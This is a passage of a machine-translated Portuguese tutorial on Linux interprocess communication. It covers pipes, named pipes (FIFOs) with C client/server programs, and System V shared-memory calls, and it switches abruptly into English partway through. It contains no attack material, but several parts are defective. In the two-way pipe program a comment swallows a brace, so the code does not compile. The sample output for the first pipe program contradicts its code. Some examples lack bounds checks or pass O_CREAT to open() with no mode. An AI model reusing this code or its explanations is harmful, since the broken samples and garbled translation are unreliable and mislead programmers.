Semáforos | semget () | Cria um novo semáforo ou obtém o identificador do semáforo existente. Os semáforos são usados para realizar a sincronização entre vários IPCs trabalhando no mesmo objeto. |
Semáforos | semop () | Executa operações de semáforo em valores de semáforo. As operações básicas do semáforo estão adquirindo ou liberando o bloqueio do semáforo. |
Semáforos | semctl () | Executa operações de controle para o semáforo. Poucas operações de controle genérico para o semáforo estão removendo o semáforo (IPC_RMID), recebendo as informações do semáforo (IPC_STAT) e atualizando novos valores do semáforo existente (IPC_SET). |
Sinais | sinal () | Configurando a disposição do sinal (número do sinal) e o manipulador de sinal. Ou seja, registrar a rotina, que é executada quando o sinal é gerado. |
Sinais | sigaction () | O mesmo que signal (), definindo a disposição do sinal, ou seja, executando determinada ação de acordo com o manipulador de sinal registrado após o recebimento do sinal registrado. Esta chamada de sistema oferece suporte a um controle mais preciso sobre o sinal (), como bloquear certos sinais, restaurar a ação do sinal para o estado padrão após chamar o manipulador de sinais, fornecer informações como o tempo consumido do usuário e do sistema, id do processo de envio, etc. |
Mapeamento de Memória | mmap () | Mapeando arquivos na memória. Uma vez mapeados na memória, o acesso aos arquivos é tão fácil quanto acessar os dados por meio de endereços e também desta forma, a chamada não é tão cara quanto as chamadas de sistema. |
Mapeamento de Memória | munmap () | Desmapeando os arquivos mapeados da memória. |
A tabela a seguir lista as diferenças entre System V IPC e POSIX IPC.
SISTEMA V | POSIX |
---|---|
A AT&T apresentou (1983) três novas formas de recursos IPC, a saber, filas de mensagens, memória compartilhada e semáforos. | Padrões de interface de sistema operacional portátil especificados pelo IEEE para definir a interface de programação de aplicativos (API). POSIX cobre todas as três formas de IPC |
O SYSTEM V IPC cobre todos os mecanismos de IPC, viz., Pipes, pipes nomeados, filas de mensagens, sinais, semáforos e memória compartilhada. Ele também cobre soquetes e soquetes de domínio Unix. | Quase todos os conceitos básicos são iguais aos do Sistema V. Só difere com a interface |
A interface de memória compartilhada chama shmget (), shmat (), shmdt (), shmctl () | Interface de memória compartilhada chama shm_open (), mmap (), shm_unlink () |
A interface da fila de mensagens chama msgget (), msgsnd (), msgrcv (), msgctl () | A interface da fila de mensagens chama mq_open (), mq_send (), mq_receive (), mq_unlink () |
A interface do semáforo chama semget (), semop (), semctl () | Chamadas de interface de semáforo Semáforos nomeados sem_open (), sem_close (), sem_unlink (), sem_post (), sem_wait (), sem_trywait (), sem_timedwait (), sem_getvalue () Semáforos nomeados ou baseados em memória sem_init (), sem_post (), sem_wait (), sem_getvalue (), sem_destroy () |
Usa chaves e identificadores para identificar os objetos IPC. | Usa nomes e descritores de arquivo para identificar objetos IPC |
N / D | As filas de mensagens POSIX podem ser monitoradas usando APIs select (), poll () e epoll |
Oferece chamada msgctl () | Fornece funções (mq_getattr () e mq_setattr ()) para acessar ou definir atributos 11. IPC - System V e POSIX |
N / D | Multi-thread safe. Abrange funções de sincronização de thread, como bloqueios mutex, variáveis condicionais, bloqueios de leitura e gravação, etc. |
N / D | Oferece poucos recursos de notificação para filas de mensagens (como mq_notify ()) |
Requer chamadas de sistema, como shmctl (), comandos (ipcs, ipcrm) para realizar operações de status / controle. | Objetos de memória compartilhada podem ser examinados e manipulados usando chamadas de sistema como fstat (), fchmod () |
O tamanho de um segmento de memória compartilhada do System V é fixado no momento da criação (via shmget ()) | Podemos usar ftruncate () para ajustar o tamanho do objeto subjacente e, em seguida, recriar o mapeamento usando munmap () e mmap () (ou o mremap específico do Linux ()) |
Pipe é um meio de comunicação entre dois ou mais processos relacionados ou inter-relacionados. Pode ser dentro de um processo ou uma comunicação entre os processos filho e pai. A comunicação também pode ser multinível, como a comunicação entre os pais, o filho e o neto, etc. A comunicação é alcançada por um processo escrevendo no cachimbo e outra lendo no cachimbo. Para realizar a chamada do sistema de pipe, crie dois arquivos, um para gravar no arquivo e outro para ler o arquivo.
O mecanismo do tubo pode ser visto em um cenário em tempo real, como encher água com o tubo em algum recipiente, digamos um balde, e alguém recuperando-o, digamos com uma caneca. O processo de enchimento nada mais é do que escrever no tubo e o processo de leitura nada mais é do que recuperar do tubo. Isso implica que uma saída (água) é entrada para a outra (balde).
#include<unistd.h>
int pipe(int pipedes[2]);
Esta chamada de sistema criaria um pipe para comunicação unilateral, ou seja, ela cria dois descritores, o primeiro é conectado para ler do pipe e o outro é conectado para escrever no pipe.
O descritor pipedes [0] é para leitura e pipedes [1] é para escrita. O que quer que seja escrito em pipedes [1] pode ser lido em pipedes [0].
Esta chamada retornaria zero em caso de sucesso e -1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
Mesmo que as operações básicas do arquivo sejam de leitura e gravação, é essencial abrir o arquivo antes de executar as operações e fechá-lo após a conclusão das operações necessárias. Normalmente, por padrão, 3 descritores abertos para cada processo, que são usados para entrada (entrada padrão - stdin), saída (saída padrão - stdout) e erro (erro padrão - stderr) tendo descritores de arquivo 0, 1 e 2 respectivamente.
Esta chamada de sistema retornaria um descritor de arquivo usado para outras operações de arquivo de leitura / gravação / busca (lseek). Normalmente, os descritores de arquivo começam em 3 e aumentam em um número conforme o número de arquivos abertos.
Os argumentos passados para abrir a chamada do sistema são nome do caminho (caminho relativo ou absoluto), sinalizadores que mencionam o propósito de abrir o arquivo (digamos, abrir para leitura, O_RDONLY, para escrever, O_WRONLY, para ler e escrever, O_RDWR, para anexar ao arquivo existente O_APPEND, para criar arquivo, se não existir com O_CREAT e assim por diante) e o modo necessário fornecendo permissões de leitura / gravação / execução para o usuário ou proprietário / grupo / outros. O modo pode ser mencionado com símbolos.
Ler - 4, Gravar - 2 e Executar - 1.
Por exemplo: valor octal (começa com 0), 0764 significa que o proprietário tem permissões de leitura, gravação e execução, o grupo tem permissões de leitura e gravação, outro tem permissões de leitura. Isso também pode ser representado como S_IRWXU | S_IRGRP | S_IWGRP | S_IROTH, que implica ou operação de 0700 | 0040 | 0020 | 0004 → 0764.
Esta chamada de sistema, em caso de sucesso, retorna o novo id do descritor de arquivo e -1 em caso de erro. A causa do erro pode ser identificada com a variável errno ou função perror ().
#include<unistd.h>
int close(int fd)
O encerramento da chamada do sistema acima já abriu o descritor de arquivo. Isso significa que o arquivo não está mais em uso e os recursos associados podem ser reutilizados por qualquer outro processo. Esta chamada de sistema retorna zero em caso de sucesso e -1 em caso de erro. A causa do erro pode ser identificada com a variável errno ou função perror ().
#include<unistd.h>
ssize_t read(int fd, void *buf, size_t count)
A chamada de sistema acima é para ler o arquivo especificado com argumentos do descritor de arquivo fd, buffer apropriado com memória alocada (estática ou dinâmica) e o tamanho do buffer.
O ID do descritor de arquivo é para identificar o respectivo arquivo, que é retornado após a chamada de sistema open () ou pipe (). O arquivo precisa ser aberto antes da leitura do arquivo. Ele abre automaticamente no caso de chamar uma chamada de sistema de pipe ().
Esta chamada retornaria o número de bytes lidos (ou zero no caso de encontrar o fim do arquivo) em caso de sucesso e -1 em caso de falha. Os bytes de retorno podem ser menores que o número de bytes solicitados, caso não haja dados disponíveis ou o arquivo seja fechado. O número de erro adequado é definido em caso de falha.
Para saber a causa da falha, verifique a variável errno ou a função perror ().
#include<unistd.h>
ssize_t write(int fd, void *buf, size_t count)
A chamada de sistema acima é para gravar no arquivo especificado com argumentos do descritor de arquivo fd, um buffer apropriado com memória alocada (estática ou dinâmica) e o tamanho do buffer.
O ID do descritor de arquivo é para identificar o respectivo arquivo, que é retornado após a chamada de sistema open () ou pipe ().
O arquivo precisa ser aberto antes de gravá-lo. Ele abre automaticamente no caso de chamar uma chamada de sistema de pipe ().
Esta chamada retornaria o número de bytes escritos (ou zero caso nada seja escrito) em caso de sucesso e -1 em caso de falha. O número de erro adequado é definido em caso de falha.
Para saber a causa da falha, verifique a variável errno ou a função perror ().
Programas de exemplo
A seguir estão alguns programas de exemplo.
Example program 1 - Programa para escrever e ler duas mensagens usando pipe.
Algoritmo
Step 1 - Crie um tubo.
Step 2 - Envie uma mensagem para o tubo.
Step 3 - Recupere a mensagem do tubo e escreva-a na saída padrão.
Step 4 - Envie outra mensagem para o tubo.
Step 5 - Recupere a mensagem do tubo e escreva-a na saída padrão.
Note - A recuperação de mensagens também pode ser feita após o envio de todas as mensagens.
Source Code: simplepipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
printf("Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 1 is %s\n", readmessage);
printf("Writing to pipe - Message 2 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[1], sizeof(writemessages[0]));
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Reading from pipe – Message 2 is %s\n", readmessage);
return 0;
}
Note- Idealmente, o status de retorno deve ser verificado para cada chamada do sistema. Para simplificar o processo, não são feitas verificações para todas as chamadas.
Etapas de execução
Compilação
gcc -o simplepipe simplepipe.c
Execução / Saída
Writing to pipe - Message 1 is Hi
Reading from pipe – Message 1 is Hi
Writing to pipe - Message 2 is Hi
Reading from pipe – Message 2 is Hell
Example program 2 - Programa para escrever e ler duas mensagens através do pipe usando os processos pai e filho.
Algoritmo
Step 1 - Crie um tubo.
Step 2 - Crie um processo filho.
Step 3 - O processo pai grava no tubo.
Step 4 - O processo filho recupera a mensagem do canal e a grava na saída padrão.
Step 5 - Repita os passos 3 e 4 mais uma vez.
Source Code: pipewithprocesses.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds[2];
int returnstatus;
int pid;
char writemessages[2][20]={"Hi", "Hello"};
char readmessage[20];
returnstatus = pipe(pipefds);
if (returnstatus == -1) {
printf("Unable to create pipe\n");
return 1;
}
pid = fork();
// Child process
if (pid == 0) {
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 1 is %s\n", readmessage);
read(pipefds[0], readmessage, sizeof(readmessage));
printf("Child Process - Reading from pipe – Message 2 is %s\n", readmessage);
} else { //Parent process
printf("Parent Process - Writing to pipe - Message 1 is %s\n", writemessages[0]);
write(pipefds[1], writemessages[0], sizeof(writemessages[0]));
printf("Parent Process - Writing to pipe - Message 2 is %s\n", writemessages[1]);
write(pipefds[1], writemessages[1], sizeof(writemessages[1]));
}
return 0;
}
Etapas de execução
Compilation
gcc pipewithprocesses.c –o pipewithprocesses
Execution
Parent Process - Writing to pipe - Message 1 is Hi
Parent Process - Writing to pipe - Message 2 is Hello
Child Process - Reading from pipe – Message 1 is Hi
Child Process - Reading from pipe – Message 2 is Hello
Comunicação bidirecional usando tubos
A comunicação de tubulação é vista como comunicação unilateral, ou seja, o processo pai grava e o processo filho lê ou vice-versa, mas não ambos. No entanto, e se o pai e a criança precisarem escrever e ler os tubos simultaneamente, a solução é uma comunicação bidirecional usando tubos. Dois tubos são necessários para estabelecer uma comunicação bidirecional.
A seguir estão as etapas para alcançar a comunicação bidirecional -
Step 1- Crie dois tubos. O primeiro é para o pai escrever e o filho ler, digamos como pipe1. O segundo é para a criança escrever e os pais ler, digamos como pipe2.
Step 2 - Crie um processo filho.
Step 3 - Feche as extremidades indesejadas, pois apenas uma extremidade é necessária para cada comunicação.
Step 4 - Feche as extremidades indesejadas no processo pai, leia o final do pipe1 e grave o final do pipe2.
Step 5 - Feche as extremidades indesejadas no processo filho, escreva no final do pipe1 e leia o final do pipe2.
Step 6 - Realize a comunicação conforme necessário.
Programas de amostra
Sample program 1 - Alcançar a comunicação bidirecional usando tubos.
Algoritmo
Step 1 - Crie pipe1 para o processo pai escrever e o processo filho ler.
Step 2 - Crie pipe2 para o processo filho gravar e o processo pai ler.
Step 3 - Feche as pontas indesejadas do tubo do lado pai e filho.
Step 4 - Processo pai para escrever uma mensagem e processo filho para ler e exibir na tela.
Step 5 - Processo filho para escrever uma mensagem e processo pai para ler e exibir na tela.
Source Code: twowayspipe.c
#include<stdio.h>
#include<unistd.h>
int main() {
int pipefds1[2], pipefds2[2];
int returnstatus1, returnstatus2;
int pid;
char pipe1writemessage[20] = "Hi";
char pipe2writemessage[20] = "Hello";
char readmessage[20];
returnstatus1 = pipe(pipefds1);
if (returnstatus1 == -1) {
printf("Unable to create pipe 1 \n");
return 1;
}
returnstatus2 = pipe(pipefds2);
if (returnstatus2 == -1) {
printf("Unable to create pipe 2 \n");
return 1;
}
pid = fork();
if (pid != 0) // Parent process {
close(pipefds1[0]); // Close the unwanted pipe1 read side
close(pipefds2[1]); // Close the unwanted pipe2 write side
printf("In Parent: Writing to pipe 1 – Message is %s\n", pipe1writemessage);
write(pipefds1[1], pipe1writemessage, sizeof(pipe1writemessage));
read(pipefds2[0], readmessage, sizeof(readmessage));
printf("In Parent: Reading from pipe 2 – Message is %s\n", readmessage);
} else { //child process
close(pipefds1[1]); // Close the unwanted pipe1 write side
close(pipefds2[0]); // Close the unwanted pipe2 read side
read(pipefds1[0], readmessage, sizeof(readmessage));
printf("In Child: Reading from pipe 1 – Message is %s\n", readmessage);
printf("In Child: Writing to pipe 2 – Message is %s\n", pipe2writemessage);
write(pipefds2[1], pipe2writemessage, sizeof(pipe2writemessage));
}
return 0;
}
Etapas de execução
Compilação
gcc twowayspipe.c –o twowayspipe
Execução
In Parent: Writing to pipe 1 – Message is Hi
In Child: Reading from pipe 1 – Message is Hi
In Child: Writing to pipe 2 – Message is Hello
In Parent: Reading from pipe 2 – Message is Hello
Pipes foram feitos para a comunicação entre processos relacionados. Podemos usar canais para comunicação de processos não relacionados, digamos, queremos executar o programa cliente de um terminal e o programa servidor de outro terminal? A resposta é Não. Então, como podemos alcançar a comunicação de processos não relacionados, a resposta simples é Pipes Nomeados. Embora isso funcione para processos relacionados, não dá sentido usar os canais nomeados para comunicação de processos relacionados.
Usamos um tubo para comunicação unilateral e dois tubos para comunicação bidirecional. A mesma condição se aplica a Pipes nomeados. A resposta é não, podemos usar um único pipe nomeado que pode ser usado para comunicação bidirecional (comunicação entre o servidor e o cliente, mais o cliente e o servidor ao mesmo tempo), pois o Named Pipe oferece suporte à comunicação bidirecional.
Outro nome para o pipe nomeado é FIFO (First-In-First-Out). Vamos ver a chamada do sistema (mknod ()) para criar um pipe nomeado, que é uma espécie de arquivo especial.
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
int mknod(const char *pathname, mode_t mode, dev_t dev);
Essa chamada de sistema criaria um arquivo especial ou nó do sistema de arquivos, como arquivo comum, arquivo de dispositivo ou FIFO. Os argumentos para a chamada do sistema são pathname, mode e dev. O nome do caminho junto com os atributos de modo e informações do dispositivo. O nome do caminho é relativo, se o diretório não for especificado, ele será criado no diretório atual. O modo especificado é o modo de arquivo que especifica o tipo de arquivo, como o tipo de arquivo e o modo de arquivo conforme mencionado nas tabelas a seguir. O campo dev é para especificar as informações do dispositivo, como números principais e secundários do dispositivo.
Tipo de arquivo | Descrição | Tipo de arquivo | Descrição |
---|---|---|---|
S_IFBLK | bloco especial | S_IFREG | Arquivo normal |
S_IFCHR | personagem especial | S_IFDIR | Diretório |
S_IFIFO | FIFO especial | S_IFLNK | Link Simbólico |
Modo de Arquivo | Descrição | Modo de Arquivo | Descrição |
---|---|---|---|
S_IRWXU | Ler, escrever, executar / pesquisar pelo proprietário | S_IWGRP | Permissão de gravação, grupo |
S_IRUSR | Permissão de leitura, proprietário | S_IXGRP | Permissão de execução / pesquisa, grupo |
S_IWUSR | Permissão de gravação, proprietário | S_IRWXO | Ler, escrever, executar / pesquisar por outros |
S_IXUSR | Permissão de execução / pesquisa, proprietário | S_IROTH | Permissão de leitura, outros |
S_IRWXG | Ler, escrever, executar / pesquisar por grupo | S_IWOTH | Permissão de escrita, outros |
S_IRGRP | Permissão de leitura, grupo | S_IXOTH | Permissão para executar / pesquisar, outros |
O modo de arquivo também pode ser representado em notação octal, como 0XYZ, onde X representa o proprietário, Y representa o grupo e Z representa outros. O valor de X, Y ou Z pode variar de 0 a 7. Os valores para leitura, gravação e execução são 4, 2, 1, respectivamente. Se necessário, em combinação de leitura, gravação e execução, adicione os valores de acordo.
Digamos, se mencionamos, 0640, isso significa ler e escrever (4 + 2 = 6) para o proprietário, ler (4) para o grupo e nenhuma permissão (0) para os outros.
Esta chamada retornaria zero em caso de sucesso e -1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
#include <sys/types.h>
#include <sys/stat.h>
int mkfifo(const char *pathname, mode_t mode)
Esta função de biblioteca cria um arquivo especial FIFO, que é usado para o pipe nomeado. Os argumentos para esta função são o nome do arquivo e o modo. O nome do arquivo pode ser um caminho absoluto ou um caminho relativo. Se o nome do caminho completo (ou caminho absoluto) não for fornecido, o arquivo será criado na pasta atual do processo de execução. As informações do modo de arquivo são descritas na chamada do sistema mknod ().
Esta chamada retornaria zero em caso de sucesso e -1 em caso de falha. Para saber a causa da falha, verifique a variável errno ou a função perror ().
Vamos considerar um programa que executa o servidor em um terminal e o cliente em outro. O programa executaria apenas comunicação unilateral. O cliente aceita a entrada do usuário e envia a mensagem ao servidor, o servidor imprime a mensagem na saída. O processo continua até que o usuário insira a string “fim”.
Vamos entender isso com um exemplo -
Step 1 - Crie dois processos, um é fifoserver e outro é fifoclient.
Step 2 - O processo do servidor executa o seguinte -
Cria um pipe nomeado (usando a chamada do sistema mknod ()) com o nome “MYFIFO”, se não for criado.
Abre o canal nomeado para fins somente leitura.
Aqui, é criado o FIFO com permissões de leitura e escrita para o Proprietário. Leia para o grupo e nenhuma permissão para os outros.
Espera infinitamente por mensagem do Cliente.
Se a mensagem recebida do cliente não for “fim”, imprime a mensagem. Se a mensagem for “fim”, fecha o fifo e finaliza o processo.
Step 3 - O processo do cliente realiza o seguinte -
Abre o canal nomeado apenas para fins de gravação.
Aceita a string do usuário.
Verifica se o usuário insere “fim” ou algo diferente de “fim”. De qualquer forma, ele envia uma mensagem ao servidor. Porém, se a string for “final”, fecha o FIFO e também finaliza o processo.
Repete-se infinitamente até que o usuário insira a string “fim”.
Agora, vamos dar uma olhada no arquivo do servidor FIFO.
/* Filename: fifoserver.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mknod(FIFO_FILE, S_IFIFO|0640, 0);
strcpy(end, "end");
while(1) {
fd = open(FIFO_FILE, O_RDONLY);
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
}
return 0;
}
Etapas de compilação e execução
Received string: "this is string 1" and length is 16
Received string: "fifo test" and length is 9
Received string: "fifo client and server" and length is 22
Received string: "end" and length is 3
Agora, vamos dar uma olhada no código de amostra do cliente FIFO.
/* Filename: fifoclient.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "MYFIFO"
int main() {
int fd;
int end_process;
int stringlen;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_WRONLY);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Vamos dar uma olhada na saída de chegada.
Etapas de compilação e execução
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: this is string 1
Sent string: "this is string 1" and string length is 16
Enter string: fifo test
Sent string: "fifo test" and string length is 9
Enter string: fifo client and server
Sent string: "fifo client and server" and string length is 22
Enter string: end
Sent string: "end" and string length is 3
Comunicação bidirecional usando canais nomeados
A comunicação entre os tubos deve ser unidirecional. Os tubos eram restritos à comunicação unilateral em geral e precisam de pelo menos dois tubos para a comunicação bidirecional. Os tubos destinam-se apenas a processos inter-relacionados. Pipes não podem ser usados para comunicação de processos não relacionados, digamos, se quisermos executar um processo de um terminal e outro processo de outro terminal, não é possível com tubos. Temos alguma forma simples de comunicação entre dois processos, digamos, processos não relacionados de uma forma simples? A resposta é sim. O pipe nomeado é destinado à comunicação entre dois ou mais processos não relacionados e também pode ter comunicação bidirecional.
Já vimos a comunicação unidirecional entre pipes nomeados, ou seja, as mensagens do cliente para o servidor. Agora, vamos dar uma olhada na comunicação bidirecional, isto é, o cliente enviando a mensagem ao servidor e o servidor recebendo a mensagem e enviando outra mensagem ao cliente usando o mesmo pipe nomeado.
A seguir está um exemplo -
Step 1 - Crie dois processos, um é fifoserver_twoway e outro é fifoclient_twoway.
Step 2 - O processo do servidor executa o seguinte -
Cria um pipe nomeado (usando a função de biblioteca mkfifo ()) com o nome “fifo_twoway” no diretório / tmp, se não for criado.
Abre o canal nomeado para fins de leitura e gravação.
Aqui, é criado o FIFO com permissões de leitura e escrita para o Proprietário. Leia para o grupo e nenhuma permissão para os outros.
Espera infinitamente por uma mensagem do cliente.
Se a mensagem recebida do cliente não for “fim”, imprime a mensagem e inverte o string. A string invertida é enviada de volta ao cliente. Se a mensagem for “fim”, fecha o fifo e finaliza o processo.
Step 3 - O processo do cliente realiza o seguinte -
Abre o canal nomeado para fins de leitura e gravação.
Aceita string do usuário.
Verifica se o usuário insere “fim” ou algo diferente de “fim”. De qualquer forma, ele envia uma mensagem ao servidor. Porém, se a string for “final”, fecha o FIFO e também finaliza o processo.
Se a mensagem for enviada como não “fim”, ele espera pela mensagem (string invertida) do cliente e imprime a string invertida.
Repete-se infinitamente até que o usuário insira a string “fim”.
Agora, vamos dar uma olhada no código de amostra do servidor FIFO.
/* Filename: fifoserver_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
void reverse_string(char *);
int main() {
int fd;
char readbuf[80];
char end[10];
int to_end;
int read_bytes;
/* Create the FIFO if it does not exist */
mkfifo(FIFO_FILE, S_IFIFO|0640);
strcpy(end, "end");
fd = open(FIFO_FILE, O_RDWR);
while(1) {
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOSERVER: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
to_end = strcmp(readbuf, end);
if (to_end == 0) {
close(fd);
break;
}
reverse_string(readbuf);
printf("FIFOSERVER: Sending Reversed String: \"%s\" and length is %d\n", readbuf, (int) strlen(readbuf));
write(fd, readbuf, strlen(readbuf));
/*
sleep - This is to make sure other process reads this, otherwise this
process would retrieve the message
*/
sleep(2);
}
return 0;
}
void reverse_string(char *str) {
int last, limit, first;
char temp;
last = strlen(str) - 1;
limit = last/2;
first = 0;
while (first < last) {
temp = str[first];
str[first] = str[last];
str[last] = temp;
first++;
last--;
}
return;
}
Etapas de compilação e execução
FIFOSERVER: Received string: "LINUX IPCs" and length is 10
FIFOSERVER: Sending Reversed String: "sCPI XUNIL" and length is 10
FIFOSERVER: Received string: "Inter Process Communication" and length is 27
FIFOSERVER: Sending Reversed String: "noitacinummoC ssecorP retnI" and length is 27
FIFOSERVER: Received string: "end" and length is 3
Agora, vamos dar uma olhada no código de amostra do cliente FIFO.
/* Filename: fifoclient_twoway.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define FIFO_FILE "/tmp/fifo_twoway"
int main() {
int fd;
int end_process;
int stringlen;
int read_bytes;
char readbuf[80];
char end_str[5];
printf("FIFO_CLIENT: Send messages, infinitely, to end enter \"end\"\n");
fd = open(FIFO_FILE, O_CREAT|O_RDWR);
strcpy(end_str, "end");
while (1) {
printf("Enter string: ");
fgets(readbuf, sizeof(readbuf), stdin);
stringlen = strlen(readbuf);
readbuf[stringlen - 1] = '\0';
end_process = strcmp(readbuf, end_str);
//printf("end_process is %d\n", end_process);
if (end_process != 0) {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
read_bytes = read(fd, readbuf, sizeof(readbuf));
readbuf[read_bytes] = '\0';
printf("FIFOCLIENT: Received string: \"%s\" and length is %d\n", readbuf, (int)strlen(readbuf));
} else {
write(fd, readbuf, strlen(readbuf));
printf("FIFOCLIENT: Sent string: \"%s\" and string length is %d\n", readbuf, (int)strlen(readbuf));
close(fd);
break;
}
}
return 0;
}
Etapas de compilação e execução
FIFO_CLIENT: Send messages, infinitely, to end enter "end"
Enter string: LINUX IPCs
FIFOCLIENT: Sent string: "LINUX IPCs" and string length is 10
FIFOCLIENT: Received string: "sCPI XUNIL" and length is 10
Enter string: Inter Process Communication
FIFOCLIENT: Sent string: "Inter Process Communication" and string length is 27
FIFOCLIENT: Received string: "noitacinummoC ssecorP retnI" and length is 27
Enter string: end
FIFOCLIENT: Sent string: "end" and string length is 3
A memória compartilhada é uma memória compartilhada entre dois ou mais processos. No entanto, por que precisamos compartilhar memória ou algum outro meio de comunicação?
Para reiterar, cada processo tem seu próprio espaço de endereço, se algum processo deseja se comunicar com alguma informação de seu próprio espaço de endereço para outros processos, então isso só é possível com técnicas IPC (comunicação entre processos). Como já sabemos, a comunicação pode ser entre processos relacionados ou não.
Normalmente, a comunicação de processos inter-relacionados é realizada usando Pipes ou Pipes Nomeados. A comunicação de processos não relacionados (digamos, um processo em execução em um terminal e outro processo em outro terminal) pode ser realizada usando Pipes Nomeados ou por meio de técnicas IPC populares de Memória Compartilhada e Filas de Mensagens.
Vimos as técnicas de IPC de Pipes e Pipes Nomeados e agora é hora de conhecer as técnicas de IPC restantes, a saber, Memória Compartilhada, Filas de Mensagens, Semáforos, Sinais e Mapeamento de Memória.
Neste capítulo, saberemos tudo sobre memória compartilhada.
Sabemos que para nos comunicarmos entre dois ou mais processos, usamos memória compartilhada, mas antes de usar a memória compartilhada o que precisa ser feito com as chamadas de sistema, vamos ver isso -
Crie o segmento de memória compartilhada ou use um segmento de memória compartilhada já criado (shmget ())
Anexe o processo ao segmento de memória compartilhada já criado (shmat ())
Desanexar o processo do segmento de memória compartilhada já anexado (shmdt ())
Operações de controle no segmento de memória compartilhada (shmctl ())
Vejamos alguns detalhes das chamadas do sistema relacionadas à memória compartilhada.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmget(key_t key, size_t size, int shmflg)
A chamada do sistema acima cria ou aloca um segmento de memória compartilhada do System V. Os argumentos que precisam ser passados são os seguintes -
o first argument, key,reconhece o segmento de memória compartilhada. A chave pode ser um valor arbitrário ou derivado da função de biblioteca ftok (). A chave também pode ser IPC_PRIVATE, significa executar processos como servidor e cliente (relacionamento pai e filho), ou seja, comunicação de processos inter-relacionados. Se o cliente quiser usar memória compartilhada com essa chave, ela deve ser um processo filho do servidor. Além disso, o processo filho precisa ser criado depois que o pai obteve uma memória compartilhada.
o second argument, size, é o tamanho do segmento de memória compartilhada arredondado para múltiplos de PAGE_SIZE.
o third argument, shmflg, specifies the required shared memory flag/s such as IPC_CREAT (creating new segment) or IPC_EXCL (Used with IPC_CREAT to create new segment and the call fails, if the segment already exists). Need to pass the permissions as well.
Note − Refer earlier sections for details on permissions.
This call would return a valid shared memory identifier (used for further calls of shared memory) on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.
#include <sys/types.h>
#include <sys/shm.h>
void * shmat(int shmid, const void *shmaddr, int shmflg)
The above system call performs shared memory operation for System V shared memory segment i.e., attaching a shared memory segment to the address space of the calling process. The arguments that need to be passed are as follows −
The first argument, shmid, is the identifier of the shared memory segment. This id is the shared memory identifier, which is the return value of shmget() system call.
The second argument, shmaddr, is to specify the attaching address. If shmaddr is NULL, the system by default chooses the suitable address to attach the segment. If shmaddr is not NULL and SHM_RND is specified in shmflg, the attach is equal to the address of the nearest multiple of SHMLBA (Lower Boundary Address). Otherwise, shmaddr must be a page aligned address at which the shared memory attachment occurs/starts.
The third argument, shmflg, specifies the required shared memory flag/s such as SHM_RND (rounding off address to SHMLBA) or SHM_EXEC (allows the contents of segment to be executed) or SHM_RDONLY (attaches the segment for read-only purpose, by default it is read-write) or SHM_REMAP (replaces the existing mapping in the range specified by shmaddr and continuing till the end of segment).
This call would return the address of attached shared memory segment on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.
#include <sys/types.h>
#include <sys/shm.h>
int shmdt(const void *shmaddr)
The above system call performs shared memory operation for System V shared memory segment of detaching the shared memory segment from the address space of the calling process. The argument that needs to be passed is −
The argument, shmaddr, is the address of shared memory segment to be detached. The to-be-detached segment must be the address returned by the shmat() system call.
This call would return 0 on success and -1 in case of failure. To know the cause of failure, check with errno variable or perror() function.
#include <sys/ipc.h>
#include <sys/shm.h>
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
The above system call performs control operation for a System V shared memory segment. The following arguments needs to be passed −
The first argument, shmid, is the identifier of the shared memory segment. This id is the shared memory identifier, which is the return value of shmget() system call.
